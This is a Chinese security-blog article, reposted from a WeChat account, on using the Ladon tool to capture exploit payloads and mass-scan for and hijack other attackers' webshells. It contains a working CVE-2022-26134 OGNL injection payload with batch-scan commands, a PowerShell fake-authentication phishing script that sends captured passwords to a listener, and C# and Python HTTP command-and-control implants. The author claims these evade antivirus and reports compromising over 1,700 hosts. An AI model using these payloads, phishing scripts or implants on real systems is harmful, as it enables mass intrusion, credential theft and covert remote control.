Ladon捕获0day payload批量getshell

admin 2022年8月4日10:07:47安全文章评论14 views10152字阅读33分50秒阅读模式

 背景

使用2011版菜刀访问某个webshell,发现被WAF拦截,,使用2016版可连,想看一下两者的发包特征,搭个IIS、Apache、Nginx、Tomcat环境来看post数据,默认中间件不显示这些数据,有些人可能压根就不会搭,你本意只是想看个发包,还要浪费时间去搭环境?当然也可以使用WireShark等抓包工具,但是又不会用怎么办?没事使用Ladon一条命令就搞定,非常简单。以前教大家用过Ladon的web模块捕获windows密码、获取无回显RCE漏洞命令回显、架设WEB远程下载payload、测试漏洞等,实际上还有很多用途,比如捕获0day、捕获工具payload等


Waf拦截菜刀,无法访问webshell

Ladon捕获0day payload批量getshell


0x001 Ladon捕获payload

使用 Ladon web 800 命令,一键架设迷你web服务器,将菜刀webshell地址改为ladon的web地址,连接菜刀,可以看到2011版菜刀发包特征为%40eavl%01%28base64_decode,很多WAF都可以轻易拦截。以前我发过针对一过狗菜刀被人插入后门的分析文章,由于菜刀发包基本都是Base64和URL编码,所以黑客加入后门,我们也能轻易分析出来,只是需要花时间对各类功能抓包,或者直接逆向分析,对菜刀通讯感兴趣可以看以前的文章。

Ladon捕获0day payload批量getshell


同样的方法,抓取2016版菜刀payload,看到特征已进行分离可以过这个站的waf,由于2016版默认UA为百度,所以将其改为必应或google等都可以,当然通过Ladon监听来看UA是否修改成功,如下图UA已改为必应。

Ladon捕获0day payload批量getshell


0x002 LadonExp提交

将抓到的payload放到post数据框,填写webshell地址,点击生成EXE,然后测试,成功回显webshell所在物理路径,以及机器名、操作系统版本等信息

Ladon捕获0day payload批量getshell


Ladon提交这个包有什么用?

假设这个webshell是别人的,可能在其它站也留有相同文件名相同密码的webshell,特别是利用某个洞批量的,或者说使用一些EXP工具打的时候未修改默认密码,特别是批量那些,不确定目标是否重要时,不会去修改密码,但可能目标已经打了补丁,这时我们可以通过别人的webshell进入,但由于组织很多,我们压根不知道哪些组织打了哪些站点,所以只能把这些组织的shell以及发包特征记录下来,本地模拟成功后,批量去扫,捡别人的鱼。


由于Ladon的web只支持html,并不支持aspphpjsp等动态脚本,所以没办法模拟菜刀成功连接后,后续的功能,所以只能监听到首次发包payload。为了能更好的批量扫描webshell,我们改用WireShark抓包。

Ladon捕获0day payload批量getshell


因为不同的站点使用的操作系统不一样,未必返回共性结果,所以我们使用Echo输出IsWebShell做为回显特征,当然你抓到不同的webshell,可以返回其它特征,本文只是例子,你也可以输出xxxx-88-ttt,用一个特征,不要用webshell这种字眼,万一哪些waf杀这个字符串呢是吧,所以要举一反三。LadonEXP测试wireshark抓到的命令执行包,成功回显特征IsWebShell。

Ladon捕获0day payload批量getshell


0x003 Ladon批量扫描WebShell


为了批量扫描时回显结果更好看,我们填写Poc特征[email protected],还有回显名称可以随便起个名子,如ISwebshell

Ladon捕获0day payload批量getshell


webshell路径为wp58/x.php,实战别人的webshell地址可能是/auth/exchange.aspx 或者zimbra邮箱的/pulic/shell.jsp。重新生成POC,测试成功回显IsWebShell,不再有其它结果,批量时我们只看IP或者URL是否带有我们指定的特征就知道是否存在相同webshell了。

Ladon捕获0day payload批量getshell


批量命令

Ladon ip.txt poc.dll   扫描IP列表Ladon url.txt poc.dll  扫描URL列表Ladon ip/24  poc.dll   扫描C段Ladon ip/b  poc.dll    扫描B段Ladon cidr.txt poc.dll  扫cidr列表(如指定国家IP段)

其实重要的目标也一样,假如我们通过漏洞拿到权限,发现了别人的后门,即使用了复杂密码,也可以直接扫它的密码啊,不是只能扫默认或简单的。


当然我们也可以批量执行其它命令,比如检测Zimbra版本、unrar版本等,方便研究相关漏洞,在大量实战环境下验证并完善的POC或工具才是好工具

Ladon捕获0day payload批量getshell

检测目标是否安装unrar,思路是这样的因为zimbra反垃圾邮件解压RAR附件,就必须安装unrar,如果不安装,要是有人发有害的RAR是不是垃圾邮件就不检测了,相当于功能作废,有些管理员可能稍微懂一点,怕垃圾邮箱检测不到RAR里面的恶意程序,因此安装unrar呢?当然我们也知道安装unrar的概率极低,但事后验证思路确实可行,发上几个权限。针对检测出来的几个权限测试CVE-2022-30333漏洞,成功一半,就是这个路径泄露漏洞存在,但不代表100%成功,很多人测试只成功一半,认为只是成功的那些没打补丁,实际上没打补丁也没成功,因为我们有权限验证,在本身安装量小,EXP又不能保证100%成功的条件下,可能目标还装补丁,或者邮件服务器杀软检测的情况下,这种概率就更低了,说实话指定目标,确实一个没中,但我们不放弃任何一个可能性,因为不做成功率是0,做最差的结果就是0,成功就是1,光脚不怕穿鞋,还好加上点运气,发中几个。

Ladon捕获0day payload批量getshell


0x004 捕获0day、1day

不知道大家有没发现,现在随便在一台VPS上开启个端口,几天之内,就有好几个扫描器光顾。有类似shodan这种搜索引擎识别资产的,也有勒索病毒这种乱扫的,当然也有一些组织使用0day或1day全网扫描的。


Ladon web 80 > 80.txtLadon web 8080 > 8080.txtLadon web 443> 443.txtLadon web 8443> 8443.txtLadon web 10000> 10000.txtLadon web 7071> 7071.txt

想抓哪个端口,就监听哪个端口,当然越多越好,因为不同WEB应用,可能有它的特定端口,别人扫特定漏洞的包你可以轻松记录下来,看到没见过的POC,它不就是0day咯,当然这个概率可能比较低,或者抓到的是不太重要的0day,真正重要的如exchange、zimbra这些,可能需要高仿一些重要机构站点,才能骗到别人使用0day,针对这类0day,是不可能乱扫的,除非它是公开的才会用它来全网扫,如proxyShell等github上公开的exp利用。


0x005 快速利用EXP

假设我们抓到的是GET方式提交的CVE-2022-26134远程执行漏洞的EXP,在addurl填下以下Payload,因为这个是通用的,当我们打不同的站,就是不同的URL,所以TargetURL就是变量,其它参数就是填那些共用的。

/%24%7b(%23a=%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%22id%22).getInputStream()%2c%22utf-8%22)).(%40com.opensymphony.webwork.ServletActionContext%40getResponse().setHeader(%22X-Cmd-Response%22%2c%23a))%7d/

Ladon捕获0day payload批量getshell

点击编译EXE或DLL,然后测试,成功返回ID命令执行结果,由于在POC里测试返回头字段Cmd-Response,不存在漏洞的站没有该返回头。所以可以设置POC特征PocTag值为Cmd-Response,因为漏洞是CVE-2022-26134,所以Poc名称我们也设置为CVE-2022-26134,批量扫描时回显漏洞编号方便利用。


Ladon捕获0day payload批量getshell


PS:如果想查看完整结果,就没必要像文章这样设置,比如可以把ID改成其它命令,直接批量做对应的事,getshell啊,不是说只能返回个漏洞编号。


独立使用

cve-2022-26134.exe http://xxx.xxx.xxx:8090

批量命令

Ladon url.txt cve-2022-26134.dll  扫描URL

该漏洞在6月份刚出来时,批量扫一些地区大约获取1700+权限,几天后一些站点也打了补丁。截至发文已过2个月,但还有一些站存在漏洞,大家还是可以抓几个来练习内网,再过两周或一个月,或许连几十个都扫不到了,当然我们没有针对全网,只针对一些地区而已。


0x006 监听获取工具exp

对于WEB利用工具,我们也可以把目标IP设为Ladon监听的WEB站点,执行工具后,Ladon即可截获到POC,如图所示S2-045通过POST提交payload执行whoami命令,我们拿到的POC可以用其它语言编写,或修改POC绕过WAF,毕竟以下工具很久不维护了,遇到有WAF的站点,就算不打补丁,也利用不成功,在有漏洞又有WAF的情况下就需要自己修改POC了。当然这前掉是你懂得改,只会用工具,抓出来顶多也就是拿去打没WAF的站,或者说那个WAF没针对本文工具发包进行拦截。

Ladon捕获0day payload批量getshell


PS:其它工具或EXP,你也可以通过该方法快速获取,不用开什么抓包工具,在一堆请求包中查找,麻烦,大部分WEB漏洞的发包,直接Ladon监听


0x007 Ladon捕获Windonws登陆密码

版本

>= Ladon 6.6.3 内置基础认证密码解密模块,直接获取明文


原理

使用PowerShell模仿Windows登陆认证获取管理员密码,Ladon监听捕获基础认证密码。


应用场景

域控或管理员密码获取,当前权限很低又无法提权时。(有权限直接读明文或HASH)


Ladon监听

该功能模仿了MSF里的基础认证监听模块,但最大的优势在于无需占用系统大量空间和内存。可直接部署在目标内网或VPS上,也无需复杂命令,直接输以下命令一键监听自动捕获密码。


其它用途:http://k8gege.org/Ladon/webser.html

Ladon Web 800

Ladon捕获0day payload批量getshell


PowerShell代码

执行以下脚本代码,会弹出十分逼真的基础认证登陆窗口,自动获取用户名和域来提高真实性。当然也可以使用其它脚本或语言,如JS水坑攻击、XSS截取各种WEB邮箱密码等等多种钩鱼姿势。


$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "" + [Environment]::UserName,[Environment]::UserDomainName);[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};Add-Type @'using System;public class Authorization{public static void submit(string usr,string pwd){string url = "http://192.168.1.110:8000/";System.Net.HttpWebRequest myReq = (System.Net.HttpWebRequest)System.Net.WebRequest.Create(url);string username = usr;string password = pwd;string usernamePassword = username + ":" + password;System.Net.CredentialCache mycache = new System.Net.CredentialCache();mycache.Add(new Uri(url), "Basic", new System.Net.NetworkCredential(username, password));myReq.Credentials = mycache;myReq.Headers.Add("Authorization", "Basic " + Convert.ToBase64String(new System.Text.ASCIIEncoding().GetBytes(usernamePassword)));System.Net.WebResponse wr = myReq.GetResponse();}}'@[Authorization]::submit($cred.username, $cred.getnetworkcredential().password)


0x008 内网文件传输

使用Ladon web架设站点,在内网中使用curl、wget、powershell等命令下载文件,到内网不可出网机器。当然外网也可以,部署在VPS上,一键起WEB,对于一些webshell无法通过管理工具上传文件,但可以通过下载方式传文件时,在VPS搭个IIS、APACHE、Nginx、Tomcat等可能比较费时间,特别是网络卡时,上传下载都麻烦,但是Ladon远比以上工具小,而且仅需一条命令,即可开启安全的WEB。


0x009  获取目标外网IP

在VPS上一键开启WEB后,目标访问http://vpsIP/ip.jpg,返回目标外网IP


0x010  检测目标是否允许HTTP出网

在VPS上一键开启WEB后,目标访问http://vpsIP/任意文件,查看Ladon是否出现请求即可验证HTTP是否出网。


0x011  简易HTTP远控

有些人比较死脑筋,明明第10条就是足以验证是否可HTTP出网,但是M有问题,非要说我在其它机子HTTP可以上线啊,肯定是目标有什么超牛B杀软。但又不去验证,但是想知道目标到底有没牛B杀软,直接通过WEB下发一条CMD命令,执行并返回结果给它就知道了,如果压根不加密,就直接通讯的情况下,目标都不拦,还不足以证明就是M的兼容性问题吗?非要在Githut上或自己拿一些绝对被杀的M,丢好几个上去种,证明确实是M的问题吗?有些人还说Ladon这个WEB不能代表真的HTTP,尼码这么死脑筋,那你也可以自己按装个IIS、APACHE、NGINX等WEB中间件搭个站点来测啊。Ladon的web专为渗透设计的,没有那些中间件支持解析运态脚本的功能,但是当成个简单的HTML网站还是可以的,这些完全可以用来做很多事,包括内网测试一些需要向外请求的DOC、PDF、浏览器等远程漏洞,如飞刀几年前提供的Word漏洞、IE漏洞等,你只需要请求个页面,又不是非要支持解析ASPPHPJSP这些,实际上那些IIS什么解析脚本最终也是向浏览器返回静态内容,Ladon直接返回静态内容,让你下载EXE、任意文件,你测个HTTP协议是否出网是完全没问题的,好了废话不多说,让大家了解一下CS通信原理。


前言

写了几篇无回显命令执行漏洞Ladon回显方法,接下来我们它升级,既然我们可以通过漏洞执行无回显命令都可以得到回显,那么我们自己写的程序不是更轻而易举吗?所谓远控不过就是通过各种协议传输攻击者的操作指令与结果而已。早期都是用TCP协议实现,之后FTP、HTTP(什么网盘、邮箱、博客等都是并非什么新方式只是换个网址或API而已),大家常用的CS也是HTTP协议,本文用Ladon来实现个简单的C2。


启动WEB

Ladon web 800

参数

/ip.txt or ip.jpg        Get Target WanIP
/getstr/AnyString Get Request String
/getb64/AnyString Base64 Encode (Request String)
/deb64/Base64String Base64 Decode (Request String)
/deb64txt/Base64String Base64 Decode Save TXT

浏览器回显

由于是HTTP协议,可以通过浏览器访问得到Ladon回显BASE64解密结果,就是说我们只要通过命令行发送HTTP请求即可在Ladon控制台看到命令执行后的结果。getstr为发送明文,但是结果中有特殊字符或换行就无法HTTP请求了,所以我们使用BASE64加密,这个原理我们在JAVA反序列化漏洞回显中有提到过。

明文回显

http://192.168.1.43:800/getstr/cve2020

Base64回显

http://192.168.1.131:800/debase64/MTIzMTIzMTIzMTIzMTI=

保存txt

http://192.168.1.131:800/deb64txt/MTIzMTIzMTIzMTIzMTI=
http://192.168.1.131:800/debase64txt/MTIzMTIzMTIzMTIzMTI=

Ladon捕获0day payload批量getshell

HTTP C2原理

1.搭建WEB,可Apache、IIS、Tomcat或者自己研发如Ladon、CobaltStrike
2.通过HTTP协议获取指令、回传结果
3.指令执行功能(CMD执行、文件上传下载、其它功能等)

try
{
//首先在VPS上执行命令: Ladon web 800 一键启动服务器
//其次在Ladon根目录下放cmd.txt,里面存放要执行的命令

//第一步 获取命令
string url = "http://192.168.250.27:800/cmd.txt";
string cmd = httpget(url);

//第二步 执行命令
string result = execcmd(cmd);

//第三步 发送结果
//httpget("http://192.168.250.27:800/getstr/"+result);


//第三步 发送结果 Base64加密支持多行结果
httpget("http://192.168.250.27:800/deb64/" + Base64_encodeUTF8(result));

}
catch (Exception s)
{
Console.WriteLine("Error: " + s.Message);
}

PS: 定时执行如设定5秒,就和CS原理一样了


HTTP下达指令、接收结果代码

既然是通过HTTP实现的,那么我们当然是通过HTTP下达指令,我们可以把指令放在cmd.txt中,然后通过HTTP读取TXT内容,这不就是相当于下达指令了吗?读取到CMD后,执行CMD再将结果通过HTTP回传,所以我们可以使用同一个方法,只是下达指令和接收结果是不同URL而已。

private static string httpget(String url)
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
request.Method = "GET";
request.Accept = "*/*";
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
Stream getStream = response.GetResponseStream();
StreamReader streamreader = new StreamReader(getStream);
string result = streamreader.ReadToEnd();
Console.WriteLine(result);
return result;
}

执行CMD通过getstr接收明文结果
Ladon捕获0day payload批量getshell        

执行CMD代码

接收到的CMD,通过此代码执行命令并获取结果。列目录、文件下载等其它功能同理

private static string execcmd(string cmd)
{
Process CmdProcess = new Process();
CmdProcess.StartInfo.FileName = "cmd.exe";
CmdProcess.StartInfo.CreateNoWindow = true;
CmdProcess.StartInfo.UseShellExecute = false;
CmdProcess.StartInfo.RedirectStandardInput = true;
CmdProcess.StartInfo.RedirectStandardOutput = true;
CmdProcess.StartInfo.RedirectStandardError = true;
CmdProcess.StartInfo.Arguments = "/c " + cmd;
CmdProcess.Start();
string result = CmdProcess.StandardOutput.ReadToEnd();
CmdProcess.WaitForExit();
CmdProcess.Close();
return result;
}


Base64加密代码

由于明文传输不支持多行结果,将会导致很多命令无法通过GET方式取回显,所以我们可通过BASE64回传,既不直接暴露CMD结果,也解决了多行结果无法回显问题。

public static string Base64_encodeUTF8(string str)
{
return Convert.ToBase64String(Encoding.UTF8.GetBytes(str));
}

BASE64加密的结果传到Ladon后会自动解密,用IIS、Apache等无此功能(省去脚本编写)
Ladon捕获0day payload批量getshell        

win10 Defender免杀

测试win10最新版defender轻松免杀

Ladon捕获0day payload批量getshell

   


免杀virscan所有杀软

Ladon捕获0day payload批量getshell

https://r.virscan.org/language/zh-cn/report/48315fc6e64f2b5740358607431618e9

显然很多杀软很垃圾的,对于自己写的RAT依旧轻松免杀


以色列杀软牛B

突然想起还有一个杀软网站,测试后发现被以色列杀软杀了,这种出现HTTP请求和CMD执行的,那些不杀的杀软,至少也要报个可疑才对。居然不报,还是以色列牛逼
Ladon捕获0day payload批量getshell
https://www.virustotal.com/gui/file/400ae8245d431d49f9d73d0c437a09e2e8914c697ab7305bf3e8c28a90ef344c/detection


Python实现C2

使用PY实现就更简单了,我们可直接套用之前CS假上线的代码,稍微修改加上命令执行即可,参考: http://k8gege.org/p/40523.html


import urllib2
import time
import os
import base64
### Cobalt Strike Cheat by K8gege
### http://k8gege.org/p/40523.html
def cscheat():
opener = urllib2.build_opener()
res = opener.open("http://192.168.250.27:800/cmd.txt")
cmd = res.read()
print cmd
result = os.popen(cmd)
res = result.read()
cmdResult=""
for line in res.splitlines():
cmdResult+=line+"rn"
print cmdResult
#opener.open("http://192.168.250.27:800/getstr/"+cmdResult)
opener.open("http://192.168.250.27:800/deb64/"+base64.b64encode(cmdResult))

while True:
print(time.strftime('%Y-%m-%d %X',time.localtime()))
cscheat()
time.sleep(5)

PS: 实战需要自己加工修改,本文只是简单原理演示


0x012  无回显漏洞命令回显方法

无回显命令执行漏洞之Linux渗透方法

无回显命令执行漏洞之PowerShell回显

http://k8gege.org/p/Ladon_ps1_echo.html

JAVA反序列化漏洞命令执行回显方法

http://k8gege.org/p/web_javarce.html

log4Shell核弹级漏洞复现&Ladon批量检测

http://k8gege.org/p/log4shell.html


PS: 本文主讲的是Ladon一百六十个功能中的其中一个,就可在很多场景下使用,是否强大得让你害怕,起名Ladon,希腊神话中的百头巨龙,不过份吧。

原文始发于微信公众号(K8实验室):Ladon捕获0day payload批量getshell

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月4日10:07:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Ladon捕获0day payload批量getshell http://cn-sec.com/archives/1220895.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: